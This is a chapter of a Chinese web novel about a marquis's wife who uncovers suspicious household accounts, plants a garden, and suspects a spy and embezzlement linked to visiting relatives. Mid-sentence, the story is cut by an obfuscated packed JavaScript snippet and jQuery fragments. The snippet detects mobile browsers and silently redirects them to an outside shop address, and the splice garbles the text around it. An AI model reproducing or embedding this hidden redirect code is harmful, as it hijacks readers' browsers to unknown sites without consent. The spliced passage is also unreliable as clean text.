赵氏没讨着便宜,但依旧在侯府住下了,深夜也不好将女眷赶出去不是。
窦瑾给她们二人准备了客房,赵氏倒是没有在闹了。
尉珩回府时,窦瑾还在和小满继续对账本。
天色不好,阴沉沉的,但奉之看侯爷很是高兴,他想了想,是他说罢府中情况时,侯爷才这般。
但他只是将夫人的话重复了一遍而已,什么“伯母,夫君……”据实陈述而已,但主子好像就是很高兴,他越来越不懂主子的心思了。
见尉珩回来,小满不动声色的退了出去。
“回来了?”窦瑾抬眼看了看尉珩,又沉心在账本中,账本最初拿来的时候,窦瑾还觉得这账没什么问题,但细看下来,窦瑾发现每一月都有几笔不明的支出,与进账根本对不上。
但她还没有完全确定,因为做这账的人也很狡猾,将这笔钱分成几处,通过采购等支出分成极小的银钱,再补回来,可是这样一来,便有了一部分重复。
“刚回,夫人这般辛苦,夫君给你捏捏肩?”尉珩绕道到窦瑾身后,手放上窦瑾的肩。
窦瑾不自在起来,尉珩这是怎么了,怎的突然像变了一个人。
“今日府中来客人了?”尉珩笑着问道。
“嗯,你不是让奉之过来助我?”窦瑾被尉珩的手法惊讶,他捏的力道不轻不重,穴位按的还准,真让她放松了不少,也不知道尉珩身为侯爷,是从哪学的这些。
“那夫人今日战力不行啊,锐锋稍有减弱,人怎的还在府中。”尉珩语气重带着调侃,手上的动作却没停。
“尉珩!”窦瑾就说刚才定然是出现幻觉了,这才是她认识的那个阴阳老祖——尉珩。
尉珩就喜欢窦瑾这般鲜活的样子,也不嘴贫了,笑着走了。
管家宣布还不够,他需要再亲自宣布一遍这侯府是谁说了算,否则,不管什么人也能进府说教窦瑾了,那要他做什么?
赵氏当然知道尉珩是对她说的,可是她来都来了,自然不能轻易带尉敏就这么走了,只是这侯府,已经待不下去了。
次日窦瑾理完前几月的账本,青枝也刚好回来了,她笑道:“夫人,已经按您说的都采买好了,您过来看看。”
窦瑾跑出院子,几板车花苗有条不紊地运过来,窦瑾转头说道:“青枝你真是太棒了,就要这些,那些成品花卉呢?”
“谢夫人,其它的都在来的路上了。”青枝被窦瑾夸得有些不知所措,小满过来笑着附和,青枝才弯起嘴角。
窦瑾自从上次去后花园发现花园还未打理时便想要移栽些好看的花,浪费了那方地皮甚是可惜。
主仆三人在后花园侍弄花苗,小满用臂鞲挽起窦瑾的袖摆,窦瑾细心看着花匠的做法,随即将花苗一一种进去。
泥土微腥的气息随着新芽香气散开,窦瑾和青枝小满说说笑笑,突然窦瑾将手上的泥蹭在小满青枝脸上。
青枝还没反应过来,小满很快便玩心大起,也要将泥蹭在窦瑾脸上,主仆三人轻笑着。
而昨日阴沉的天色也逐渐有了阳光。
不知何时,后花园来了好些人,先是尉珩,他看向窦瑾,她今日穿的那身衣裳混在花苗中格外好看。
人比花娇,莫过于此。
“你来做什么?”尉珩嫌弃地看向来人。
“我今日就要走了,来与她说抱歉。”尉婉冷冷地看了尉珩一眼,随即立刻又将目光放在窦瑾身上,接着开口道:“你配不上她”。
尉珩一时间没有回应,过了良久,他才说道:“是吗?可现在与她成婚的是我,不管是谁,都不能轻易将我们分开,何况,大哥已经走了。”
尉婉冷哼了一声,往前走了走,窦瑾此时看到尉婉了,她其实觉得尉婉还不错,至少她会承认,比那些背地里用刀子的人好多了。
尉婉和窦瑾说话的间隙,尉珩看着窦瑾,谁也没注意,花园外有一道虚弱的身影慢慢闪过。
荣安堂内。
“她在府中种花?”林氏听着崔妈妈的回禀,拧了拧眉,又说道:“堂堂侯府主母,像个什么话。”
崔妈妈看着林氏,心知她这根本没生气,试探着说道:“老夫人,那今日的午膳是?”
“当然是我在荣安堂吃了,她们爱怎么闹就闹吧,省的我瞧见心烦。”林氏说罢,崔妈妈连连说好。
又听林氏补充道:“还有,那赵氏早些打发了,她那个女儿,一股子小家子气,窦瑾比她强多了,也不知道存的什么心,年轻的时候就惹人厌,到现在还是这般,昨日那说话的老妇也不知道窦瑾打发到哪里去了,说的话还蛮有道理的。”
崔妈妈又是连连称是,心道:这老夫人现在到底是个什么意思,难道……这窦瑾会什么幻术不成,老夫人竟然夸起她来了。
尉婉顺利离了府,林氏对此又给尉珩记了一笔,对这个女儿,她虽然不是很上心,但也是悉心教导过的,就是执拗了些,非要弄些什么女儿家不该碰的东西,常惹她生气。
可在林氏心里,还是宠爱她大过于尉珩的,她这个小儿子,罢了。
“婉儿放蛇咬你,是为了逼你送她出府吧,去庄子才是她的真实目的。”窦瑾接受了尉婉的道歉,自然也看到了尉珩。
窦瑾用的是肯定的语气,而非疑问。
尉珩点点头,看着窦瑾脸上的泥,莫名想到儿时去太傅府时,瞧见的那只猫儿。
他脑中这般想,口中又说道:“她以为你与我在一起,那些蛇不会伤到你,至于我,那些蛇本来就不会咬我,她就是找个理由而已,只是阴差阳错差些让你真的被蛇咬,她今日执意要走,我才明白。”
窦瑾嗯了一声,又听尉珩说道:“不过,你们什么时候关系变得这么好了,这么多年,我从来没见尉婉低头过,你倒是好手段。”
窦瑾学着他的样子重复道:“我倒是好手段。”
随后窦瑾也不管尉珩什么神色,继续说道:“自然是因为我生的美,人也好,你这样的,不得小妹待见实属正常。”
尉珩笑了,不知是被气的还是怎么,花匠们全部都认真干着活,青枝和小满也不知道侯爷和夫人这是什么神奇的气韵,怎的两人在一起就开始拌嘴。
不过她们见得多了,也不觉这是在吵架,因为侯爷和夫人看起来,好像没有真的生气。
待晚间,窦瑾坐在房内,将手中的几珠芍药修剪好放在瓶中。
青枝和小满在旁连连称赞,窦瑾也教她们两人如何插花,尉珩站在院
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752822|209441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
内,就这样听着她们的谈笑声。
对其他人宽容的很,对青枝和小满更是这般温柔,怎么对他就不是这样了呢。
尉珩坐在院中的石桌前,找了本书,就这样听着屋内的声音,看着书。
“侯爷,尉敏小姐求见。”
过了几时,奉之过来通传,尉珩垂下眼,说道:“这么晚了,告诉她明日再说。”
奉之有些为难,尉珩看过去,奉之又说道:“侯爷,尉敏小姐说,她要说的是有关夫人的。”
尉珩皱起眉,看了一眼屋内,起身放下书,走了几步但突然停下对奉之说道:“你去和夫人说一声,让她早些歇息,不用等我。”
奉之领命,到门口刚要禀报,就听到门内夫人的声音,“好了,明日再学,今日早些歇息吧。”
准备禀报的奉之不知现在是当讲不当讲,夫人这,好像本来也没准备等侯爷一起歇息啊,但他若是这样去回禀,侯爷不会把他踹出近侍行列吧。
不行不行。
但他不知道怎么开口。
恰巧此时窦瑾看到门外的身影,小满过来查探,奉之这才说了,说罢他就想赶紧去回禀,却听窦瑾问道:“侯爷可说他去哪了?”
奉之这下又难住了,这怎得还有夫人的考验,他最终选择如实回答。
窦瑾淡淡嗯了一声,奉之行礼后走了。
“夫人,先前她和夫人并无交集啊,怎么会叫侯爷去说有关您的事?”小满疑惑地说道。
青枝也皱起眉,这三年尉敏和赵氏根本就没来过侯府,想来连京城都没有踏足过,怎么会知道夫人的事。
看着忧心忡忡的两人,窦瑾安慰道:“无事,我们又没做什么亏心事,尉珩这两日一直未露面,想来是找了个借口想要见尉珩罢了。”
说罢后,窦瑾让青枝打水来,她今日也累了,想歇一下。
但窦瑾坐着坐着,突然觉得不对,对小满说;“不对,承晖院有奸细,尉珩的意思是让我过去。”
因为尉珩也知道,他间歇夜值的缘故,窦瑾从不会等他一起歇息,那专门让奉之在门口大声告诉她,又没有明说,定然是有问题。
小满不明所以,但知道主子要出门,还是跑过去拿外裳,窦瑾突然说道:“小满,你换上我的衣服在屋内,我穿你的衣服出去,青枝假装同我说话,而后观察屋外是否有鬼鬼祟祟的人过来偷听,若是有,先别打草惊蛇,尽量看清那人长相,其余的等我回来再说。”青枝端着水进来就听到窦瑾急匆匆地交代着。
窦瑾有预感,这事儿八成和赵氏有很大的关系,说不定,还能查到一些意想不到的事,毕竟,侯府的错账显示的支出方向是瞿州,而尉敏这一支,离京恰巧就迁到了此地。
若说这是巧合,窦瑾是不相信的,不过她也很想知道,尉敏这一支无一人在侯府中,到底是谁敢冒这么大的险,每月都偷偷支银子出去。
最大的可能就是崔芸,她哄着林氏给了她中馈理事的权利,虽无私库钥匙,可想要在账面上做手脚,再昧下本该流出的银子,可就容易多了。
但她的动机是什么呢?跟着林氏,崔芸捞的油水并不少,根本没必要冒这风险。
毕竟,私自窃取主家财物,罪名可不小。